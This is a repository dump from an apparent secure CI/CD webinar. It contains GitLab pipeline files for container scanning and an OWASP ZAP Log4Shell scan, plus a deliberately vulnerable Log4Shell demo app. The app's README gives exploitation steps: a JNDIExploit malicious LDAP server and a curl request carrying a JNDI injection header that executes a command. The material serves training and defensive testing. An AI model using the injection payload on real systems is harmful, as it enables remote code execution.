#Push-to-test-registry (Build docker for container scanning with kaniko and push it to test registry)
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
build_docker_image:
stage: build
variables:
REGISTRY: "cr.yandex" #leave it if your registry is yandex
YC_REGISTRY_ID: "crpa4sj54dagb22c6f5o" #set your registry ID
DOCKER_CUSTOM_SUBFOLDER: "log4shell-vulnerable-app" #if your folder with docker files has some custom path
image:
name: gcr.io/kaniko-project/executor:debug
entrypoint: [""]
script:
- mkdir -p /kaniko/.docker
#install jq
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq && cp jq /kaniko
#get sa token from metadata
- wget --header Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token && cp token /kaniko
- echo "{\"auths\":{\"cr.yandex\":{\"auth\":\"$(printf "%s:%s" "iam" "$(cat /kaniko/token | ./jq -r '.access_token')" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
- >-
/kaniko/executor
--context "${CI_PROJECT_DIR}"/"${DOCKER_CUSTOM_SUBFOLDER}"
--dockerfile "${CI_PROJECT_DIR}/"${DOCKER_CUSTOM_SUBFOLDER}"/Dockerfile"
--destination "${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}"
#delete metadata file
- rm /kaniko/token
#Container scanning job for scanning with Trivy
container_scanning_free_trivy:
stage: test
artifacts:
when: always
paths:
- gl-container-scanning-report.json
rules:
- if: $IMAGE_SCAN_ENGINE_TRIVY == "true"
when: always
variables:
REGISTRY: "cr.yandex" #leave it if your registry is yandex
YC_REGISTRY_ID: "crpa4sj54dagb22c6f5o" #set your registry ID
image:
name: aquasec/trivy
entrypoint: [""]
script:
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq
- wget --header Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
- export TRIVY_AUTH_URL=https://${REGISTRY}
- export TRIVY_USERNAME=iam
- export TRIVY_PASSWORD="$(cat token | ./jq -r '.access_token')"
# Build report
- trivy --cache-dir .trivycache/ image --exit-code 0 --no-progress -o gl-container-scanning-report.json ${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}
# Print report
- trivy --cache-dir .trivycache/ image --exit-code 0 --no-progress --severity HIGH ${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}
# Fail on critical vulnerabilities
- trivy --cache-dir .trivycache/ image --exit-code 1 --severity CRITICAL --no-progress ${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}
#Container scanning job for scanning with Yandex Cloud container scanner
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
container_scanning_free_yc:
image:
name: pindar/jq
entrypoint: [""]
stage: test
artifacts:
when: always
paths:
- gl-container-scanning-report-yc.json
rules:
- if: $IMAGE_SCAN_ENGINE_YC == "true"
when: always
variables:
REGISTRY: "cr.yandex" #leave it if your registry is yandex
YC_REGISTRY_ID: "crpa4sj54dagb22c6f5o" #set your registry ID
script:
- export CI_COMMIT_SHA=${CI_COMMIT_SHA}
#install yc cli
- curl https://storage.yandexcloud.net/yandexcloud-yc/install.sh | bash -s -- -a && cp /root/yandex-cloud/bin/yc /usr/bin/
#start scan
- echo "Scanning image $IMAGE_NAME ${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}..."
- export IMAGE_ID=$(yc container image list --registry-id $YC_REGISTRY_ID --format=json | jq -r --arg CI_COMMIT_SHA $CI_COMMIT_SHA '.[] | select(.tags[0]==$CI_COMMIT_SHA) | .id ')
#Report
- export SCAN_RESULT=$(yc container image scan $IMAGE_ID --format=json)
- export CRIT_VULN=$(echo $SCAN_RESULT | jq -r '.vulnerabilities.critical // 0')
- export HIGH_VULN=$(echo $SCAN_RESULT | jq -r '.vulnerabilities.high // 0')
- export SCAN_ID=$(echo $SCAN_RESULT | jq -r '.id')
- echo "Scan results:"
- yc container image list-vulnerabilities --scan-result-id="${SCAN_ID}" --format json | jq -r '.[] | select(.severity=="CRITICAL", .severity=="HIGH")'
- yc container image list-vulnerabilities --scan-result-id="${SCAN_ID}" --format json | jq -r '.[] | select(.severity=="CRITICAL", .severity=="HIGH")' > gl-container-scanning-report-yc.json
#Check result
- (( SUM = $CRIT_VULN + $HIGH_VULN )) && (( RES = (SUM >= 1) )) && echo $RES && echo "image has $CRIT_VULN critical vulns and $HIGH_VULN high vulns" && exit 1 || echo "image has no high or crit vulns" exit 0
#Push to prod registry with kaniko
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
push_to_prod_registry:
stage: push
variables:
REGISTRY: "cr.yandex"
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
DOCKER_CUSTOM_SUBFOLDER: "log4shell-vulnerable-app"
#-----SAST------------------------------------------------
sast:
stage: test
variables:
SCAN_KUBERNETES_MANIFESTS: "true" #enable kubesec for manifests and charts
artifacts:
paths:
- gl-sast-report.json
#-----DAST------------------------------------------------
#Deploy image to test k8s
deploy:
stage: deploy
variables:
REGISTRY: "cr.yandex"
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
image:
name: bitnami/kubectl:latest
entrypoint: [""]
script:
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq
- kubectl config use-context my-group/k8s-config2:my-agent
- sed -ie "s/image_name/$REGISTRY\\/$YC_REGISTRY_ID\\/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA/g" k8s-manifest.yaml
- kubectl apply -f k8s-manifest.yaml
- export APP_IP=$(kubectl get svc service-my-vuln-app -o json | ./jq -r '.status.loadBalancer.ingress[0].ip')
- echo $APP_IP
#DAST scan
dast-free:
stage: dast
image:
name: owasp/zap2docker-weekly
entrypoint: [""]
variables:
DAST_HOSTNAME: "51.250.10.27" #change to your domain name of app in staging
script:
- sed -ie "s/url_name/$DAST_HOSTNAME/g" /builds/my-group/free-pipeline/dast-config/log4shell.yaml
- cat /builds/my-group/free-pipeline/dast-config/log4shell.yaml
- cp /builds/my-group/free-pipeline/dast-config/log4shell.conf /zap/
- cp /builds/my-group/free-pipeline/dast-config/log4shell.yaml /zap/
- zap.sh -cmd -configfile /zap/log4shell.conf -autorun /zap/log4shell.yaml -addonupdate -addoninstall ascanrulesAlpha
- cat /home/zap/owasp.json
#-----Deploy-to-prod------------------------------------------------
#deploy_to_prod:
# stage: deploy-prod
#variables:
# REGISTRY: "cr.yandex"
#YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a"
#image:
# name: bitnami/kubectl:latest
# entrypoint: [""]
#script:
#- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq
#- kubectl config use-context my-group/k8s-cilium:cilium-agent
#- sed -ie "s/image_name/$REGISTRY\\/$YC_REGISTRY_ID\\/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA/g" k8s-manifest.yaml
#- kubectl apply -f k8s-manifest.yaml
#- export APP_IP=$(kubectl get svc service-my-vuln-app -o json | ./jq -r '.status.loadBalancer.ingress[0].ip')
#- echo $APP_IP
#only:
# - main
#Stages of pipeline
stages:
- build
- test
- push
- deploy
- dast
#- deploy-prod
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/.push_to_prod_registry.yml
================================================
#Push to prod registry with kaniko
#You need to assign yandex cloud serivce-account on VM with runner https://cloud.yandex.ru/docs/compute/operations/vm-connect/auth-inside-vm
push_to_prod_registry:
stage: push
variables:
REGISTRY: "cr.yandex" #leave it if your registry is yandex
YC_REGISTRY_ID: "crpvbsvtjommpkb0dr9a" #set your registry ID
DOCKER_CUSTOM_SUBFOLDER: "" #if your folder with docker files has some custom path
image:
name: gcr.io/kaniko-project/executor:debug
entrypoint: [""]
script:
- mkdir -p /kaniko/.docker
#install jq
- wget -O jq https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64 && chmod +x ./jq && cp jq /kaniko
#get sa token from metadata
- wget --header Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token && cp token /kaniko
- echo "{\"auths\":{\"cr.yandex\":{\"auth\":\"$(printf "%s:%s" "iam" "$(cat /kaniko/token | ./jq -r '.access_token')" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json
- >-
/kaniko/executor
--context "${CI_PROJECT_DIR}"/"${DOCKER_CUSTOM_SUBFOLDER}"
--dockerfile "${CI_PROJECT_DIR}/"${DOCKER_CUSTOM_SUBFOLDER}"/Dockerfile"
--destination "${REGISTRY}/${YC_REGISTRY_ID}/${CI_COMMIT_REF_SLUG}:${CI_COMMIT_SHA}"
#delete metadata file
- rm /kaniko/token
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/README.md
================================================
# Обнаружение уязвимостей в CI/CD (Free лицензия)
## Схема
## Схема (из чего состоит pipeline)
#Short description of steps:
- Container scanning
- build_docker_image
- container_scanning_free_trivy # for trivy scan or
- container_scanning_free_yc # for yandex cloud container scanner
- Push to prod registry
- SAST
- DAST
- deploy (deploy app to staging k8s)
- DAST scan
- Deploy to prod (only for merged: after approve of merge request)
## Инструкция как использовать
Вы можете скачать данные файлы и использовать их в качестве security pipeline для вашего проекта. Подробности из вебинара размещены на корневой странице раздела.
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/dast-config/log4shell.conf
================================================
# Use the public BOAST service
oast.boast.uri=https://odiss.eu:1337/events
oast.activeScanService=BOAST
oast.boast.pollingFrequency=10
# Scan headers in all requests
scanner.injectable=11
scanner.scanHeadersAllRequests=true
# Send the X-Api-Version header in spider requests - just required for the test app
replacer.full_list(0).description=X-Api-Version
replacer.full_list(0).enabled=true
replacer.full_list(0).matchtype=REQ_HEADER
replacer.full_list(0).matchstr=X-Api-Version
replacer.full_list(0).regex=false
replacer.full_list(0).replacement=test
replacer.full_list(0).initiators=\[3\]
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/dast-config/log4shell.yaml
================================================
---
env:
contexts:
- name: "Default Context"
urls:
- "http://url_name"
parameters:
failOnError: true
failOnWarning: false
progressToStdout: true
vars: {}
jobs:
- parameters: {}
name: "spider"
type: "spider"
- parameters: {}
policyDefinition:
defaultStrength: "medium"
defaultThreshold: "off"
rules:
- id: 40043
name: "Log4Shell (CVE-2021-44228)"
threshold: "medium"
strength: "default"
name: "activeScan"
type: "activeScan"
- parameters:
time: "2:30"
name: "delay"
type: "delay"
- type: report
parameters:
template: traditional-json
reportFile: owasp.json
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/k8s-manifest.yaml
================================================
apiVersion: apps/v1
kind: Deployment
metadata:
name: my-vuln-app
spec:
replicas: 1
selector:
matchLabels:
app: myvulnapp
template:
metadata:
labels:
app: myvulnapp
spec:
imagePullSecrets:
- name: regcred
containers:
- name: app
image: image_name
---
apiVersion: v1
kind: Service
metadata:
name: service-my-vuln-app
spec:
ports:
- port: 80 # Порт сетевого балансировщика, на котором будут обслуживаться пользовательские запросы.
name: plaintext
targetPort: 8080 # Порт контейнера, на котором доступно приложение.
selector: # Метки селектора, использованные в шаблоне подов при создании объекта Deployment.
app: myvulnapp
type: LoadBalancer
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/Dockerfile
================================================
FROM gradle:7.3.1-jdk17 AS builder
COPY --chown=gradle:gradle . /home/gradle/src
WORKDIR /home/gradle/src
RUN gradle bootJar --no-daemon
#FROM openjdk:8u181-jdk-alpine
FROM openjdk:8u181
EXPOSE 8080
RUN mkdir /app
COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar
CMD ["java", "-jar", "/app/spring-boot-application.jar"]
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/LICENSE
================================================
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright [yyyy] [name of copyright owner]
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/README.md
================================================
# Log4Shell sample vulnerable application (CVE-2021-44228)
This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).
It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.
## Running the application
Run it:
```bash
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```
Build it yourself (you don't need any Java-related tooling):
```bash
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
```
## Exploitation steps
*Note: This is highly inspired from the original [LunaSec advisory](https://www.lunasec.io/docs/blog/log4j-zero-day/). **Run at your own risk, preferably in a VM in a sandbox environment**.*
**Update (Dec 13th)**: *The JNDIExploit repository has been removed from GitHub (presumably, [not by GitHub](https://twitter.com/_mph4/status/1470343429599211528)). Just append `web.archive.org` in front of the JNDIExploit download URL below to use the version cached by the Wayback Machine.*
* Use [JNDIExploit](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) to spin up a malicious LDAP server
```bash
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
```
* Then, trigger the exploit using:
```bash
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
```
* Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
```
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
```
* To confirm that the code execution was successful, notice that the file `/tmp/pwned.txt` was created in the container running the vulnerable application:
```
$ docker exec vulnerable-app ls /tmp
...
pwned
...
```
## Reference
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
## Contributors
[@christophetd](https://twitter.com/christophetd)
[@rayhan0x01](https://twitter.com/rayhan0x01)
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/build.gradle
================================================
plugins {
id 'org.springframework.boot' version '2.6.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
id 'java'
}
group = 'fr.christophetd.log4shell'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation('org.springframework.boot:spring-boot-starter-web') {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging'
}
implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/gradle/wrapper/gradle-wrapper.properties
================================================
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.1-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/gradlew
================================================
#!/bin/sh
#
# Copyright © 2015-2021 the original authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
#
# Gradle start up script for POSIX generated by Gradle.
#
# Important for running:
#
# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is
# noncompliant, but you have some other compliant shell such as ksh or
# bash, then to run this script, type that shell name before the whole
# command line, like:
#
# ksh Gradle
#
# Busybox and similar reduced shells will NOT work, because this script
# requires all of these POSIX shell features:
# * functions;
# * expansions «$var», «${var}», «${var:-default}», «${var+SET}»,
# «${var#prefix}», «${var%suffix}», and «$( cmd )»;
# * compound commands having a testable exit status, especially «case»;
# * various built-in commands including «command», «set», and «ulimit».
#
# Important for patching:
#
# (2) This script targets any POSIX shell, so it avoids extensions provided
# by Bash, Ksh, etc; in particular arrays are avoided.
#
# The "traditional" practice of packing multiple parameters into a
# space-separated string is a well documented source of bugs and security
# problems, so this is (mostly) avoided, by progressively accumulating
# options in "$@", and eventually passing that to Java.
#
# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS,
# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly;
# see the in-line comments for details.
#
# There are tweaks for specific operating systems such as AIX, CygWin,
# Darwin, MinGW, and NonStop.
#
# (3) This script is generated from the Groovy template
# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt
# within the Gradle project.
#
# You can find Gradle at https://github.com/gradle/gradle/.
#
##############################################################################
# Attempt to set APP_HOME
# Resolve links: $0 may be a link
app_path=$0
# Need this for daisy-chained symlinks.
while
APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path
[ -h "$app_path" ]
do
ls=$( ls -ld "$app_path" )
link=${ls#*' -> '}
case $link in #(
/*) app_path=$link ;; #(
*) app_path=$APP_HOME$link ;;
esac
done
APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit
APP_NAME="Gradle"
APP_BASE_NAME=${0##*/}
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD=maximum
warn () {
echo "$*"
} >&2
die () {
echo
echo "$*"
echo
exit 1
} >&2
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "$( uname )" in #(
CYGWIN* ) cygwin=true ;; #(
Darwin* ) darwin=true ;; #(
MSYS* | MINGW* ) msys=true ;; #(
NONSTOP* ) nonstop=true ;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD=$JAVA_HOME/jre/sh/java
else
JAVACMD=$JAVA_HOME/bin/java
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD=java
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then
case $MAX_FD in #(
max*)
MAX_FD=$( ulimit -H -n ) ||
warn "Could not query maximum file descriptor limit"
esac
case $MAX_FD in #(
'' | soft) :;; #(
*)
ulimit -n "$MAX_FD" ||
warn "Could not set maximum file descriptor limit to $MAX_FD"
esac
fi
# Collect all arguments for the java command, stacking in reverse order:
# * args from the command line
# * the main class name
# * -classpath
# * -D...appname settings
# * --module-path (only if needed)
# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables.
# For Cygwin or MSYS, switch paths to Windows format before running java
if "$cygwin" || "$msys" ; then
APP_HOME=$( cygpath --path --mixed "$APP_HOME" )
CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" )
JAVACMD=$( cygpath --unix "$JAVACMD" )
# Now convert the arguments - kludge to limit ourselves to /bin/sh
for arg do
if
case $arg in #(
-*) false ;; # don't mess with options #(
/?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath
[ -e "$t" ] ;; #(
*) false ;;
esac
then
arg=$( cygpath --path --ignore --mixed "$arg" )
fi
# Roll the args list around exactly as many times as the number of
# args, so each arg winds up back in the position where it started, but
# possibly modified.
#
# NB: a `for` loop captures its iteration list before it begins, so
# changing the positional parameters here affects neither the number of
# iterations, nor the values presented in `arg`.
shift # remove old arg
set -- "$@" "$arg" # push replacement arg
done
fi
# Collect all arguments for the java command;
# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of
# shell script including quotes and variable substitutions, so put them in
# double quotes to make sure that they get re-expanded; and
# * put everything else in single quotes, so that it's not re-expanded.
set -- \
"-Dorg.gradle.appname=$APP_BASE_NAME" \
-classpath "$CLASSPATH" \
org.gradle.wrapper.GradleWrapperMain \
"$@"
# Use "xargs" to parse quoted args.
#
# With -n1 it outputs one arg per line, with the quotes and backslashes removed.
#
# In Bash we could simply go:
#
# readarray ARGS < <( xargs -n1 <<<"$var" ) &&
# set -- "${ARGS[@]}" "$@"
#
# but POSIX shell has neither arrays nor command substitution, so instead we
# post-process each arg (as a line of input to sed) to backslash-escape any
# character that might be a shell metacharacter, then use eval to reverse
# that process (while maintaining the separation between arguments), and wrap
# the whole thing up as a single "set" statement.
#
# This will of course break if any of these variables contains a newline or
# an unmatched quote.
#
eval "set -- $(
printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" |
xargs -n1 |
sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' |
tr '\n' ' '
)" '"$@"'
exec "$JAVACMD" "$@"
================================================
FILE: secure_ci_cd/secure_ci_cd_with_webinar/free_secure_ci_cd/log4shell-vulnerable-app/gradlew.bat
================================================
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
